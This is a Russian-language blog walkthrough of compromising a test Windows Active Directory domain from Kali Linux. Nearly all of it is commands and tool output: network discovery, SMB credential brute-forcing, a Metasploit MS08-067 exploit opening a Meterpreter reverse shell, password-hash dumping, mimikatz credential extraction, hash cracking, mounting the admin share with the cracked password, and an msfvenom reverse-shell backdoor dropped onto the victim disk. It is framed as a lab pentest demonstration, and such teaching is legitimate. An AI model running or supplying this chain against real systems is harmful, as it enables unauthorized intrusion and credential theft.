Компрометирование Windows-доменов из командной строки

09:07 / 2 июля, 2016

Как закореленый пользователь операционной системы Линукс, зачастую все необходимые задачи я решаю через командную строку. Именно поэтому я решил показать несколько утилит и техник, которые можно использовать для компрометирования доменов в Active Directory лишь при помощи командной строки. В демонстрационных целях я развернул тестовую систему и домен (XEROSECURITY), куда входят Windows 2012 AD Domain Controller (192.168.1.138) и Windows XP Workstation (192.168.1.129). Моя система, на которой будут запускаться скрипты, работает на Kali Linux 2.0 (192.168.1.113). Ниже показано пошаговое руководство, позволяющее выполнить базовый пентест системы на базе ОС Windows. Особенно этот пост посвящается хакерам старой закалки, которые знают, что такое «Phrack» и «Owned and Exposed».

Утилиты, необходимые для работы

```
Kali Linux https://www.kali.org/
```

Responder https://github.com/SpiderLabs/Responder.git

Sn1per https://github.com/1N3/Sn1per.git

BruteX https://github.com/1N3/BruteX.git

```
Metasploit hhttp://www.metasploit.com/
```

CrackMapExec https://github.com/byt3bl33d3r/CrackMapExec.git

pth-smbexec https://github.com/pentestgeek/smbexec.git

netdiscover http://nixgeneration.com/~jaime/netdiscover/

smb.sh SMBExec script https://gist.github.com/1N3/c784d60f6e5956e019c7#file-windows-post-exploitation-sh

metasploit-windows-post.rc script https://gist.github.com/1N3/7b852bb24e87ee6f7389

```
Hashcat http://hashcat.net/oclhashcat/
```

Поиск доменов

root@kali:/mnt/winxp# responder -A -f -i 192.168.1.113

NBT Name Service/LLMNR Responder 2.0.

Please send bugs/comments to: [email protected]

To kill this script hit CRTL-C

[+]NBT-NS, LLMNR & MDNS responder started

[+]Loading Responder.conf File..

Global Parameters set:

Responder is bound to this interface: ALL

Challenge set: 1122334455667788

WPAD Proxy Server: False

WPAD script loaded:  function FindProxyForURL(url, host){if ((host == "localhost") 
|| shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT";
 if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) 
return "DIRECT"; return 'PROXY ISAProxySrv:3141; DIRECT';}

HTTP Server: ON

HTTPS Server: ON

SMB Server: ON

SMB LM support: False

Kerberos Server: ON

SQL Server: ON

FTP Server: ON

IMAP Server: ON

POP3 Server: ON

SMTP Server: ON

DNS Server: ON

LDAP Server: ON

FingerPrint hosts: True

Serving Executable via HTTP&WPAD: OFF

Always Serving a Specific File via HTTP&WPAD: OFF

[+]Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned.

[Analyze mode: ICMP] You can ICMP Redirect on this network. This workstation (192.168.1.113) is not 
on the same subnet than the DNS server (206.248.154.22). Use python Icmp-Redirect.py for more details.

[Analyze mode: ICMP] You can ICMP Redirect on this network. This workstation (192.168.1.113) is not 
on the same subnet than the DNS server (206.248.154.170). Use python Icmp-Redirect.py for more details.

[Analyze mode: Browser]Datagram Request from IP: 192.168.1.129 hostname: TEST-3F6416AC49 via the:
 Workstation/Redirector Service. to: XEROSECURITY. Service: Domain controller service. This name is
 a domain controller.

[!]Workstations/Servers detected on Domain XEROSECURITY:

   -TEST-3F6416AC49

   -WIN-8MSB2DD52P9

[Analyze mode LANMAN]:

[!]Domain detected on this network:

   -WORKGROUP

   -XEROSECURITY

[!]Workstations/Servers detected on Domain XEROSECURITY:

   -TEST-3F6416AC49

   -WIN-8MSB2DD52P9

root@kali:/mnt/winxp# netdiscover -r 192.168.1.0/24

[3;J

Currently scanning: Finished! | Screen View: Unique Hosts

7 Captured ARP Req/Rep packets, from 7 hosts. Total size: 384

_____________________________________________________________________________

IP At MAC Address Count Len MAC Vendor

-----------------------------------------------------------------------------

192.168.1.129 00:0c:29:fb:8c:7c 01 042 VMware, Inc.

192.168.1.138 00:0c:29:82:29:f9 01 042 VMware, Inc.

root@kali:/pentest/loot/# echo "192.168.1.129" >> /pentest/loot/win-targets.txt

root@kali:/pentest/loot/# echo "192.168.1.138" >> /pentest/loot/win-targets.txt

root@kali:/pentest/loot# sniper /pentest/loot/win-targets.txt airstrike

               ____

    _________  /  _/___  ___  _____

   / ___/ __ \ / // __ \/ _ \/ ___/

  (__  ) / / // // /_/ /  __/ /

 /____/_/ /_/___/ .___/\___/_/

/_/

 + -- --=[http://crowdshield.com

 + -- --=[sn1per v1.6 by 1N3

                  |                      |

                  |                    -/_\-

                -/_\-   ______________(/ . \)______________

   ____________(/ . \)_____________    \___/     <>

   <>           \___/      <>    <>

||

<>

||

<>

||

                                       ||            BIG

        _____               __         <>      (^)))^ BOOM!

  BOOM!/((  )\       BOOM!((  )))            (     ( )

 ---- (__()__))          (() ) ))           (  (  (   )

     ||  |||____|------    \  (/   ___     (__\     /__)

      |__|||  |     |---|---|||___|   |___-----|||||

  |  ||.  |   |       |     |||                |||||

      |__|||  |     |---|---|||___|   |___-----|||||

  |  ||.  |   |       |     |||                |||||

 __________________________________________________________

 Bomb raid (contributed by Michael aka [email protected])

 + -- --=[Launching airstrike: 192.168.1.129

################################### Running passive scans #########################

TCP open                  epmap[  135]               from 192.168.1.129  ttl 128

TCP open            netbios-ssn[  139]               from 192.168.1.129  ttl 128

TCP open           microsoft-ds[  445]               from 192.168.1.129  ttl 128

TCP open          ms-wbt-server[ 3389]               from 192.168.1.129  ttl 128

 + -- --=[Launching airstrike: 192.168.1.138

################################### Running passive scans #########################

TCP open                   name[   42]               from 192.168.1.138  ttl 128

TCP open                 domain[   53]               from 192.168.1.138  ttl 128

TCP open                   http[   80]               from 192.168.1.138  ttl 128

TCP open               kerberos[   88]               from 192.168.1.138  ttl 128

TCP open                  epmap[  135]               from 192.168.1.138  ttl 128

TCP open            netbios-ssn[  139]               from 192.168.1.138  ttl 128

TCP open                   ldap[  389]               from 192.168.1.138  ttl 128

TCP open           microsoft-ds[  445]               from 192.168.1.138  ttl 128

TCP open                  ldaps[  636]               from 192.168.1.138  ttl 128

                                 ^     ^

        _   __  _   ____ _   __  _    _   ____

       ///7/ /.' \ / __////7/ /,' \ ,' \ / __/

      | V V // o // _/ | V V // 0 // 0 // _/

      |_n_,'/_n_//_/   |_n_,' \_,' \_,'/_/

                                 ...'

    WAFW00F - Web Application Firewall Detection Tool

    By Sandro Gauci && Wendel G. Henrique

Checking http://192.168.1.138

Generic Detection results:

The site http://192.168.1.138 seems to be behind a WAF

Reason: The server header is different when an attack is detected.

The server header for a normal response is "Microsoft-IIS/8.5", while the server header a response to
 an attack is "Microsoft-HTTPAPI/2.0.",

Number of requests: 12

http://192.168.1.138 [200] Country[RESERVED][ZZ], HTTPServer[Microsoft-IIS/8.5], IP[192.168.1.138], 
Microsoft-IIS[8

Поиск уязвимостей

root@kali:/pentest/loot# sniper /pentest/loot/win-targets.txt nuke

____

__,-~~/~ `---.

_/_,---( , )

__ / < / ) \___

- ------===;;;'====------------------===;;;===----- - -

\/ ~'~'~'~'~'~\~'~)~'/

(_ ( \ ( > \)

\_( _ < >_>'

~ `-i' ::>|--"

I;|.|.|

<|i::|i|`.

(` ^''`-' ')

---------------------------------------------------------

+ -- --=[WARNING! Nuking ALL targets!

____

_________ / _/___ ___ _____

/ ___/ __ \ / // __ \/ _ \/ ___/

(__ ) / / // // /_/ / __/ /

/____/_/ /_/___/ .___/\___/_/

/_/

+ -- --=[http://crowdshield.com

+ -- --=[sn1per v1.6 by 1N3

################################### Running recon #################################

Server: 206.248.154.22

Address: 206.248.154.22#53

** server can't find 129.1.168.192.in-addr.arpa: NXDOMAIN

Host 129.1.168.192.in-addr.arpa. not found: 3(NXDOMAIN)

################################### Pinging host ###################################

PING 192.168.1.129 (192.168.1.129) 56(84) bytes of data.

64 bytes from 192.168.1.129: icmp_seq=1 ttl=128 time=0.415 ms

--- 192.168.1.129 ping statistics ---

1 packets transmitted, 1 received, 0% packet loss, time 0ms

rtt min/avg/max/mdev = 0.415/0.415/0.415/0.000 ms

################################### Running port scan ##############################

Starting Nmap 7.01 ( https://nmap.org ) at 2016-01-30 14:45 EST

Nmap scan report for 192.168.1.129

Host is up (0.00026s latency).

Not shown: 65530 closed ports

PORT STATE SERVICE VERSION

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows 98 netbios-ssn

445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds

2869/tcp open http Microsoft HTTPAPI httpd 1.0 (SSDP/UPnP)

|_http-server-header: Microsoft-HTTPAPI/1.0

|_http-title: Site doesn't have a title (text/html).

3389/tcp open ms-wbt-server Microsoft Terminal Service

MAC Address: 00:0C:29:FB:8C:7C (VMware)

Device type: general purpose

Running: Microsoft Windows XP|2003

OS CPE: cpe:/o:microsoft:windows_xp::sp2:professional cpe:/o:microsoft:windows_server_2003

OS details: Microsoft Windows XP Professional SP2 or Windows Server 2003

Network Distance: 1 hop

Service Info: OSs: Windows, Windows 98, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_98, cpe:/o:microsoft:windows_xp

Host script results:

|_nbstat: NetBIOS name: TEST-3F6416AC49, NetBIOS user: < unknown>, NetBIOS MAC: 00:0c:29:fb:8c:7c (VMware)

| smb-os-discovery:

| OS: Windows XP (Windows 2000 LAN Manager)

| OS CPE: cpe:/o:microsoft:windows_xp::-

| Computer name: test-3f6416ac49

| NetBIOS computer name: TEST-3F6416AC49

| Domain name: xerosecurity.com

| Forest name: xerosecurity.com

| FQDN: test-3f6416ac49.xerosecurity.com

|_ System time: 2016-01-30T14:45:39-05:00

| smb-security-mode:

| account_used: guest

| authentication_level: user

| challenge_response: supported

|_ message_signing: disabled (dangerous, but default)

|_smbv2-enabled: Server doesn't support SMBv2 protocol

TRACEROUTE

HOP RTT ADDRESS

1 0.26 ms 192.168.1.129

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 26.25 seconds

Starting Nmap 7.01 ( https://nmap.org ) at 2016-01-30 14:45 EST

Nmap scan report for 192.168.1.129

Host is up (0.00026s latency).

Not shown: 10 closed ports

PORT STATE SERVICE VERSION

137/udp open netbios-ns Microsoft Windows NT netbios-ssn (workgroup: XEROSECURITY)

138/udp open|filtered netbios-dgm

MAC Address: 00:0C:29:FB:8C:7C (VMware)

Too many fingerprints match this host to give specific OS details

Network Distance: 1 hop

Service Info: Host: TEST-3F6416AC49; OS: Windows NT; CPE: cpe:/o:microsoft:windows_nt

Host script results:

|_nbstat: NetBIOS name: TEST-3F6416AC49, NetBIOS user: < unknown>, NetBIOS MAC: 00:0c:29:fb:8c:7c (VMware)

TRACEROUTE

HOP RTT ADDRESS

1 0.26 ms 192.168.1.129

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 92.66 seconds

################################### Running Intrusive Scans ########################

+ -- --=[Port 21 closed... skipping.

+ -- --=[Port 22 closed... skipping.

+ -- --=[Port 23 closed... skipping.

+ -- --=[Port 25 closed... skipping.

+ -- --=[Port 53 closed... skipping.

+ -- --=[Port 79 closed... skipping.

+ -- --=[Port 80 closed... skipping.

+ -- --=[Port 110 closed... skipping.

+ -- --=[Port 111 closed... skipping.

+ -- --=[Port 135 opened... running tests...

rpcinfo: can't contact portmapper: RPC: Remote system error - Connection refused

Starting Nmap 7.01 ( https://nmap.org ) at 2016-01-30 14:47 EST

Nmap scan report for 192.168.1.129

Host is up (0.00015s latency).

PORT STATE SERVICE

135/tcp open msrpc

MAC Address: 00:0C:29:FB:8C:7C (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.43 seconds

+ -- --=[Port 139 opened... running tests...

Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Sat Jan 30 14:47:12 2016

==========================

| Target Information |

==========================

Target ........... 192.168.1.129

RID Range ........ 500-550,1000-1050

Username ......... ''

Password ......... ''

Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none

=====================================================

| Enumerating Workgroup/Domain on 192.168.1.129 |

=====================================================

[+] Got domain/workgroup name: XEROSECURITY

=============================================

| Nbtstat Information for 192.168.1.129 |

=============================================

Looking up status of 192.168.1.129

TEST-3F6416AC49 <00> - B Workstation Service

XEROSECURITY <00> - B Domain/Workgroup Name

TEST-3F6416AC49 <20> - B File Server Service

XEROSECURITY <1e> - B Browser Service Elections

XEROSECURITY <1d> - B Master Browser

..__MSBROWSE__. <01> - B Master Browser

MAC Address = 00-0C-29-FB-8C-7C

======================================

| Session Check on 192.168.1.129 |

======================================

[+] Server 192.168.1.129 allows sessions using username '', password ''

============================================

| Getting domain SID for 192.168.1.129 |

============================================

could not initialise lsa pipe. Error was NT_STATUS_ACCESS_DENIED

could not obtain sid for domain XEROSECURITY

error: NT_STATUS_ACCESS_DENIED

[+] Can't determine if host is part of domain or part of a workgroup

=======================================

| OS information on 192.168.1.129 |

=======================================

[+] Got OS info for 192.168.1.129 from smbclient: Domain=[XEROSECURITY] OS=[Windows 5.1] Server=[Windows 2000 LAN Manager]

[E] Can't get OS info with srvinfo: NT_STATUS_ACCESS_DENIED

==============================

| Users on 192.168.1.129 |

==============================

[E] Couldn't find users using querydispinfo: NT_STATUS_ACCESS_DENIED

[E] Couldn't find users using enumdomusers: NT_STATUS_ACCESS_DENIED

==========================================

| Share Enumeration on 192.168.1.129 |

==========================================

[E] Can't list shares: NT_STATUS_ACCESS_DENIED

[+] Attempting to map shares on 192.168.1.129

=====================================================

| Password Policy Information for 192.168.1.129 |

=====================================================

[E] Unexpected error from polenum:

[+] Attaching to 192.168.1.129 using a NULL share

[+] Trying protocol 445/SMB...

[!] Protocol failed: SMB SessionError: STATUS_ACCESS_DENIED({Access Denied} A process has requested access to an object but has not been granted those access rights.)

[+] Trying protocol 139/SMB...

[!] Protocol failed: SMB SessionError: STATUS_ACCESS_DENIED({Access Denied} A process has requested access to an object but has not been granted those access rights.)

[E] Failed to get password policy with rpcclient

===============================

| Groups on 192.168.1.129 |

===============================

[+] Getting builtin groups:

[E] Can't get builtin groups: NT_STATUS_ACCESS_DENIED

[+] Getting builtin group memberships:

[+] Getting local groups:

[E] Can't get local groups: NT_STATUS_ACCESS_DENIED

[+] Getting local group memberships:

[+] Getting domain groups:

[E] Can't get domain groups: NT_STATUS_ACCESS_DENIED

[+] Getting domain group memberships:

========================================================================

| Users on 192.168.1.129 via RID cycling (RIDS: 500-550,1000-1050) |

========================================================================

[E] Couldn't get SID: NT_STATUS_ACCESS_DENIED. RID cycling not possible.

==============================================

| Getting printer info for 192.168.1.129 |

==============================================

could not initialise lsa pipe. Error was NT_STATUS_ACCESS_DENIED

could not obtain sid for domain XEROSECURITY

error: NT_STATUS_ACCESS_DENIED

enum4linux complete on Sat Jan 30 14:47:13 2016

Traceback (most recent call last):

File "bin/samrdump.py", line 159, in

logger.init()

AttributeError: 'module' object has no attribute 'init'

Doing NBT name scan for addresses from 192.168.1.129

IP address NetBIOS Name Server User MAC address

------------------------------------------------------------------------------

192.168.1.129 TEST-3F6416AC49 00:0c:29:fb:8c:7c

Starting Nmap 7.01 ( https://nmap.org ) at 2016-01-30 14:47 EST

Nmap scan report for 192.168.1.129

Host is up (0.00020s latency).

PORT STATE SERVICE VERSION

139/tcp open netbios-ssn Microsoft Windows 98 netbios-ssn

MAC Address: 00:0C:29:FB:8C:7C (VMware)

Service Info: OS: Windows 98; CPE: cpe:/o:microsoft:windows_98

Host script results:

| smb-brute:

| administrator:password => Valid credentials

| guest: => Valid credentials

|_ test:password => Valid credentials

| smb-enum-groups:

| Builtin\Administrators (RID: 544): Administrator, test

| Builtin\Users (RID: 545): test

| Builtin\Guests (RID: 546): Guest

| Builtin\Power Users (RID: 547):

| Builtin\Backup Operators (RID: 551):

| Builtin\Replicator (RID: 552):

| Builtin\Remote Desktop Users (RID: 555):

| Builtin\Network Configuration Operators (RID: 556):

|_ TEST-3F6416AC49\HelpServicesGroup (RID: 1001): SUPPORT_388945a0

| smb-enum-sessions:

| Active SMB sessions

| TEST is connected from NMAP for [just logged in, it's probably you], idle for [not idle]

|_ TEST is connected from NMAP for [just logged in, it's probably you], idle for [not idle]

| smb-enum-shares:

| account_used: test

| ADMIN$:

| warning: Couldn't get details for share: NT_STATUS_WERR_ACCESS_DENIED (srvsvc.netsharegetinfo)

| Anonymous access:

| Current user access:

| C:

| warning: Couldn't get details for share: NT_STATUS_WERR_ACCESS_DENIED (srvsvc.netsharegetinfo)

| Anonymous access:

| Current user access: READ/WRITE

| C$:

| warning: Couldn't get details for share: NT_STATUS_WERR_ACCESS_DENIED (srvsvc.netsharegetinfo)

| Anonymous access:

| Current user access:

| Downloads:

| warning: Couldn't get details for share: NT_STATUS_WERR_ACCESS_DENIED (srvsvc.netsharegetinfo)

| Anonymous access:

| Current user access: READ/WRITE

| IPC$:

| warning: Couldn't get details for share: NT_STATUS_WERR_ACCESS_DENIED (srvsvc.netsharegetinfo)

| Type: Not a file share

| Anonymous access: READ

|_ Current user access: READ/WRITE

|_smb-ls: ERROR: Script execution failed (use -d to debug)

| smb-mbenum:

| DFS Root

| WIN-8MSB2DD52P9 6.3

| Domain Controller

| WIN-8MSB2DD52P9 6.3

| Master Browser

| TEST-3F6416AC49 5.1

| Potential Browser

| TEST-3F6416AC49 5.1

| Server service

| TEST-3F6416AC49 5.1

| WIN-8MSB2DD52P9 6.3

| Time Source

| WIN-8MSB2DD52P9 6.3

| Windows NT/2000/XP/2003 server

| TEST-3F6416AC49 5.1

| WIN-8MSB2DD52P9 6.3

| Workstation

| TEST-3F6416AC49 5.1

|_ WIN-8MSB2DD52P9 6.3

| smb-os-discovery:

| OS: Windows XP (Windows 2000 LAN Manager)

| OS CPE: cpe:/o:microsoft:windows_xp::-

| Computer name: test-3f6416ac49

| NetBIOS computer name: TEST-3F6416AC49

| Domain name: xerosecurity.com

| Forest name: xerosecurity.com

| FQDN: test-3f6416ac49.xerosecurity.com

|_ System time: 2016-01-30T14:47:42-05:00

|_smb-print-text: false

| smb-psexec: Can't find the service file: nmap_service.exe (or nmap_service).

| Due to false positives in antivirus software, this module is no

| longer included by default. Please download it from

| https://nmap.org/psexec/nmap_service.exe

|_and place it in nselib/data/psexec/ under the Nmap DATADIR.

| smb-security-mode:

| account_used: test

| authentication_level: user

| challenge_response: supported

|_ message_signing: disabled (dangerous, but default)

|_smb-system-info: ERROR: Script execution failed (use -d to debug)

|_smb-vuln-ms10-054: false

|_smb-vuln-ms10-061: false

|_smbv2-enabled: Server doesn't support SMBv2 protocol

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 28.96 seconds

IIIIII dTb.dTb _.---._

II 4' v 'B .'"".'/|\`.""'.

II 6. .P : .' / | \ `. :

II 'T;. .;P' '.' / | \ `.'

II 'T; ;P' `. / | \ .'

IIIIII 'YvP' `-.__|__.-'

I love shells --egypt

Tired of typing 'set RHOSTS'? Click & pwn with Metasploit Pro

Learn more on http://rapid7.com/metasploit

=[ metasploit v4.11.5-2016010401 ]

+ -- --=[ 1518 exploits - 875 auxiliary - 257 post ]

+ -- --=[ 437 payloads - 37 encoders - 8 nops ]

+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

RHOSTS => 192.168.1.129

RHOST => 192.168.1.129

[*] 192.168.1.129 - Pipes: \netlogon, \lsarpc, \samr, \browser, \atsvc, \DAV RPC SERVICE, \epmapper, \eventlog, \InitShutdown, \keysvc, \lsass, \ntsvcs, \protected_storage, \router, \scerpc, \srvsvc, \trkwks, \wkssvc

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

192.168.1.129 - UUID f50aac00-c7f3-428e-a022-a6b71bfb9d43 1.0 OPEN VIA BROWSER

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

[-] 192.168.1.129:139 - Login Failed: The SMB server did not reply to our request

[*] 192.168.1.129:445 - Windows XP Service Pack 2 (English)

[+] 192.168.1.129:445 - IPC$ - (IPC) Remote IPC

[+] 192.168.1.129:445 - C - (DISK)

[+] 192.168.1.129:445 - Downloads - (DISK)

[+] 192.168.1.129:445 - ADMIN$ - (DISK) Remote Admin

[+] 192.168.1.129:445 - C$ - (DISK) Default share

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

[*] 192.168.1.129 TEST-3F6416AC49 [ ]

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

[*] 192.168.1.129 : XEROSECURITY\TEST-3F6416AC49$, XEROSECURITY\user

[+] 192.168.1.129 - Found user: XEROSECURITY\user

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

[*] 192.168.1.129:445 SMB - Starting SMB login bruteforce

[*] 192.168.1.129 - This system allows guest sessions with any credentials

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

[*] 192.168.1.129 PIPE(LSARPC) LOCAL(TEST-3F6416AC49 - 5-21-682003330-1606980848-839522115) DOMAIN(XEROSECURITY - 5-21-1088676282-494858925-2056655024)

[*] 192.168.1.129 USER=Administrator RID=500

[*] 192.168.1.129 USER=Guest RID=501

[*] 192.168.1.129 GROUP=None RID=513

[*] 192.168.1.129 USER=HelpAssistant RID=1000

[*] 192.168.1.129 TYPE=4 NAME=HelpServicesGroup rid=1001

[*] 192.168.1.129 USER=SUPPORT_388945a0 RID=1002

[*] 192.168.1.129 USER=test RID=1003

[*] 192.168.1.129 TEST-3F6416AC49 [Administrator, Guest, HelpAssistant, SUPPORT_388945a0, test ]

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

[*] 192.168.1.129: - The target appears to be safe

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

[*] 192.168.1.129:445 is running Windows XP SP2 (language:English) (name:TEST-3F6416AC49) (domain:XEROSECURITY)

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

[*] Started reverse TCP handler on 192.168.1.113:4444

[*] Trying return address 0x081ed5f2...

[-] The SMB server did not reply to our request

[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 192.168.1.113:4444

[*] Automatically detecting the target...

[*] Fingerprint: Windows XP - Service Pack 2 - lang:English

[*] Selected Target: Windows XP SP2 English (AlwaysOn NX)

[*] Attempting to trigger the vulnerability...

[*] Sending stage (957487 bytes) to 192.168.1.129

[*] Meterpreter session 1 opened (192.168.1.113:4444 -> 192.168.1.129:1127) at 2016-01-30 14:49:30 -0500

Пост эксплуатация

meterpreter > hashdump

Administrator:500:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c:::

Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

HelpAssistant:1000:447873b78295638165d0a1a58736c426:c379debb205ae80e84bda1b3d430b6c8:::

SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:1534c54bed98875639d7e77ae9d51345:::

test:1003:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c:::

meterpreter >

meterpreter >

meterpreter > getsystem

...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).

meterpreter > screenshot

Screenshot saved to: /mnt/sde1/pentest/web/Sn1per/VTpkjmPC.jpeg

meterpreter > shell

Process 1316 created.

Channel 1 created.

Microsoft Windows XP [Version 5.1.2600]

(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32> exit

meterpreter > use mimikatz

Loading extension mimikatz...success.

meterpreter > kerberos

[+] Running as SYSTEM

[*] Retrieving kerberos credentials

kerberos credentials

====================

AuthID    Package    Domain        User              Password

------    -------    ------        ----              --------

0;151748  NTLM       XEROSECURITY  user

0;997     Negotiate  NT AUTHORITY  LOCAL SERVICE

0;55360   NTLM

0;999     Negotiate  XEROSECURITY  TEST-3F6416AC49$

0;996     Negotiate  NT AUTHORITY  NETWORK SERVICE   .mMS;.,)=B_>@:hk,eav(nDi)
<-HrP*Ei?Z$M#fLACsTLYhvcobx*2Y.@8y9+

meterpreter > livessp

[+] Running as SYSTEM

[*] Retrieving livessp credentials

livessp credentials

===================

AuthID    Package    Domain        User              Password

------    -------    ------        ----              --------

0;151748  NTLM       XEROSECURITY  user           n.a. (livessp KO)

0;997     Negotiate  NT AUTHORITY  LOCAL SERVICE     n.a. (livessp KO)

0;996     Negotiate  NT AUTHORITY  NETWORK SERVICE   n.a. (livessp KO)

0;55360   NTLM                                       n.a. (livessp KO)

0;999     Negotiate  XEROSECURITY  TEST-3F6416AC49$  n.a. (livessp KO)

meterpreter > msv

[+] Running as SYSTEM

[*] Retrieving msv credentials

msv credentials

===============

AuthID    Package    Domain        User              Password

------    -------    ------        ----              --------

0;996     Negotiate  NT AUTHORITY  NETWORK SERVICE   lm{ 00000000000000000000000000000000 }, 
ntlm{ a93c420761d5d783f1c3c674482e7d47 }

0;55360   NTLM                                       lm{ 00000000000000000000000000000000 }, 
ntlm{ a93c420761d5d783f1c3c674482e7d47 }

0;151748  NTLM       XEROSECURITY  user           lm{ e52cac67419a9a2217e4c3576fe93615 }, 
ntlm{ b490b475e987909ae9bd83a65aa94665 }

0;997     Negotiate  NT AUTHORITY  LOCAL SERVICE     n.s. (Credentials KO)

0;999     Negotiate  XEROSECURITY  TEST-3F6416AC49$  n.s. (Credentials KO)

meterpreter > ssp

[+] Running as SYSTEM

[*] Retrieving ssp credentials

ssp credentials

===============

AuthID  Package  Domain  User  Password

------  -------  ------  ----  --------

meterpreter > tspkg

[+] Running as SYSTEM

[*] Retrieving tspkg credentials

tspkg credentials

=================

AuthID    Package    Domain        User              Password

------    -------    ------        ----              --------

0;151748  NTLM       XEROSECURITY  user           n.a. (tspkg KO)

0;997     Negotiate  NT AUTHORITY  LOCAL SERVICE     n.a. (tspkg KO)

0;996     Negotiate  NT AUTHORITY  NETWORK SERVICE   n.a. (tspkg KO)

0;55360   NTLM                                       n.a. (tspkg KO)

0;999     Negotiate  XEROSECURITY  TEST-3F6416AC49$  n.a. (tspkg KO)

meterpreter > wdigest

[+] Running as SYSTEM

[*] Retrieving wdigest credentials

wdigest credentials

===================

AuthID    Package    Domain        User              Password

------    -------    ------        ----              --------

0;55360   NTLM

0;997     Negotiate  NT AUTHORITY  LOCAL SERVICE

0;999     Negotiate  XEROSECURITY  TEST-3F6416AC49$  .mMS;.,)=B_>@:hk,eav(nDi)
<-HrP*Ei?Z$M#fLACsTLYhvcobx*2Y.@8y9+

0;996     Negotiate  NT AUTHORITY  NETWORK SERVICE   .mMS;.,)=B_>@:hk,eav(nDi)
<-HrP*Ei?Z$M#fLACsTLYhvcobx*2Y.@8y9+

0;151748  NTLM       XEROSECURITY  user           Password123$

meterpreter > background

[*] Backgrounding session 1...

[*] You have active sessions open, to exit anyway type "exit -y"

msf exploit(ms08_067_netapi) >

msf post(golden_ticket) > use post/windows/gather/cachedump

msf post(cachedump) > show options

Module options (post/windows/gather/cachedump):

   Name     Current Setting  Required  Description

   ----     ---------------  --------  -----------

   SESSION                   yes       The session to run this module on.

msf post(cachedump) > setg SESSION 1

SESSION => 1

msf post(cachedump) > run

[*] Executing module against TEST-3F6416AC49

[*] Cached Credentials Setting: 10 - (Max is 50 and 0 disables, and 10 is default)

[*] Obtaining boot key...

[*] Obtaining Lsa key...

[*] XP or below system

[*] Obtaining LK$KM...

[*] Dumping cached credentials...

[*] Hash are in MSCACHE format. (mscash)

[*] MSCACHE v1 saved in: /root/.msf5/loot/20160130165258_default_192.168.1.129_mscache.creds_030856.txt

[*] John the Ripper format:

# mscash

user:M$user#c158f3e72ab78ed2adb9d0fab0e1ec23:xerosecurity.comn:XEROSECURITY

[*] Post module execution completed

msf post(cachedump) > cat /root/.msf5/loot/20160130165258_default_192.168.1.129_mscache.creds_030856.txt

[*] exec: cat /root/.msf5/loot/20160130165258_default_192.168.1.129_mscache.creds_030856.txt

Username,Hash,Logon Domain Name,DNS Domain Name,Last Login,UPN,Effective Name,Full Name,Logon Script,
Profile Path,Home Directory,HomeDir Drive,Primary Group,Additional Groups

"user","c158f3e72ab78ed2adb9d0fab0e1ec23","XEROSECURITY","xerosecurity.comn","2016-01-30 14:36:42",
"[email protected]","user","user"

Взлом хешей

root@kali:~# hashcat -m 1100 /tmp/hashes2.txt /pentest/lists/passwords/

Initializing hashcat v2.00 with 8 threads and 32mb segment-size...

Added hashes from file /tmp/hashes2.txt: 1 (1 salts)

Activating quick-digest mode for single-hash with salt

[s]tatus [p]ause [r]esume [b]ypass [q]uit =>

Input.Mode: Dict (/pentest/lists/passwords/hashkiller.com.dic)

Index.....: 2/8 (segment), 3313392 (words), 33550341 (bytes)

Recovered.: 0/1 hashes, 0/1 salts

Speed/sec.: 43.01M plains, 43.01M words

Progress..: 3313392/3313392 (100.00%)

Running...: --:--:--:--

Estimated.: --:--:--:--

c158f3e72ab78ed2adb9d0fab0e1ec23:user:Password123$

All hashes have been recovered

Подключение CIFS

root@kali:/mnt# mkdir winxp

root@kali:/mnt# mount -t cifs -o username=Administrator,password=Password123$ //192.168.1.129/C$ /mnt/winxp/

root@kali:/mnt# cd winxp/

root@kali:/mnt/winxp# ls

AUTOEXEC.BAT  boot.ini    Documents and Settings  FL Studio VSTi (Multi).dll  MSDOS.SYS     ntldr

backdoor.exe  CONFIG.SYS  FL Studio VSTi.dll      IO.SYS                      NTDETECT.COM  pagefile.sys  
Program Files  System Volume Information 
RECYCLER

Бэкдор

root@kali:/mnt/winxp# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.113

LPORT=4444 -f exe > backdoor.exe

No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 333 bytes
root@kali:/mnt/winxp# ls -lh

total 773M

